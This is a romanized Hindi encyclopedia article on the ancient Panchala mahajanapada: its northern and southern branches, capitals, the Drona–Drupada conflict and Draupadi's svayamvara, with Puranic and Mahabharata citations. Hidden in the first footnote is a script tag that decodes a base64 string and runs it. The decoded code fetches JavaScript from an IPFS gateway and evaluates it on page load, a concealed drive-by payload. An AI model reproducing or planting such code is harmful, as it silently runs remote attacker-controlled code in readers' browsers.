पंचाल महाजनपद
thumb|300px|paanchal mahajanapad
Panchal Great Realm
paanchal pauranik 16 mahajanapadoan mean se ek hai. pashchimi uttar pradesh ke bareli, badayooan aur pharrookhabad ziloan se parivrit pradesh ka prachin nam hai. yah kanapur se varanasi ke bich ke ganga ke maidan mean phaila hua tha. isaki bhi do shakhaean thian-
- pahali shakha uttar paanchal ki rajadhani ahichchhatr thi.
- doosari shakha dakshin paanchal ki rajadhani kaanpily thi.
- paandavoan ki patni draupadi ko panchal ki rajakumari hone ke karan paanchali bhi kaha gaya.
- kaniangham ke anusar vartaman ruhelakhand uttar panchal aur doaba dakshin panchal tha.
- paanchal vartaman ruhelakhand ka prachin nam tha. isaka yah nam raja haryashv ke paanch putroan ke karan p da tha.[1]
- sanhitopanishad brahman mean panchal ke prachy panchal bhag (poorvi bhag) ka bhi ullekh hai. shatapath brahman[2] mean panchal ki parivaka ya parichaka namak nagari ka ullekh hai jo vebar ke anusar mahabharat ki ekachaka hai.
shri ray chaudhari ka mat hai ki panchal paanch prachin kuloan ka samoohik nam tha. ve ye the—
- kivi,
- keshi,
- srianjay,
- turvasas,
- somak.
granthoan mean ullekh
brahmapuran[3] tatha matsy puran[4] mean inhean mudagal srianjay, brihadishu, yavinar aur krimilashv kaha gaya hai. panchaloan aur kuru janapadoan mean paraspar l daee-jhag de chalate rahate the. mahabharat ke adiparv se jnat hota hai ki paandavoan ke guru dronachary ne arjun ki sahayata se panchalaraj drupad ko harakar usake pas keval dakshin panchal (jisaki rajadhani kaanpily thi) rahane diya aur uttar panchal ko hastagat kar liya tha [5]
ki dronachary ne parast hone par kaid mean dale hue panchal raj drupad se kaha—‘maianne rajy prapti ke lie tumhare sath yuddh kiya hai. ab ganga ke uttaratatavarti pradesh ka maian, aur dakshin tat ke tum raja hoange’. is prakar mahabharat-kal mean panchal, ganga ke uttari aur dakshin donoan tatoan par basa hua tha. drupad pahale ahichchhatr ya chhatravati nagari mean rahate the[6]. inhean jitane ke lie dron ne kauravoan aur paandavoan ko panchal bheja tha[7]
draupadi ka svayanvar
mahabharat adiparv mean varnit draupadi ka svayanvar kaanpily mean hua tha. dakshin panchal ki sima ganga nadi ke dakshini tat se lekar chambal nadi ya charmanvati nadi tak thi[8]. vishnu puran[9] mean kuru-paanchaloan ko madhyadeshiy kaha gaya hai[10]. panchal nivasiyoan ko bhimasen ne apani poorv desh ki digvijay-yatra mean anek prakar se samajha-bujha kar vash mean kar liya tha[11].
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tika tippani aur sandarbh
- ↑ pauranik kosh |lekhak: rana prasad sharma |prakashak: jnanamandal limited, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 557, parishisht 'k' | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ shatapath brahman 13,5,4,7
- ↑ brahmapuran 13,94
- ↑ matsy puran 50,3
- ↑ ‘at: prayatitan rajye yajnasen tvaya sah, rajasi dakshine koole bhagirathyahamuttare’, mahabharat adiparv 165,24
- ↑ ‘parshato drupado namachchhatravatyaan nareshvar’ mahabharat adiparv 165,21
- ↑ ‘dhartarashtraishch sahita panchalan paandava yayu:’
- ↑ ‘soaghyavasadh dinamana: kaanpily ch purottamamh dakshinaanshchapi panchalanh yavachcharmanvata nadi’,mahabharat adiparv 137,76
- ↑ vishnu puran 2,3,15
- ↑ ‘tasvime kurupaanchala madhyadeshadayojana:’
- ↑ ‘sagatva narashardool: panchalanaan puran mahath panchalanh vividhopaye: saantvayamas paandav:', mahabharat sabhaparv 29,3-4
sanbandhit lekh
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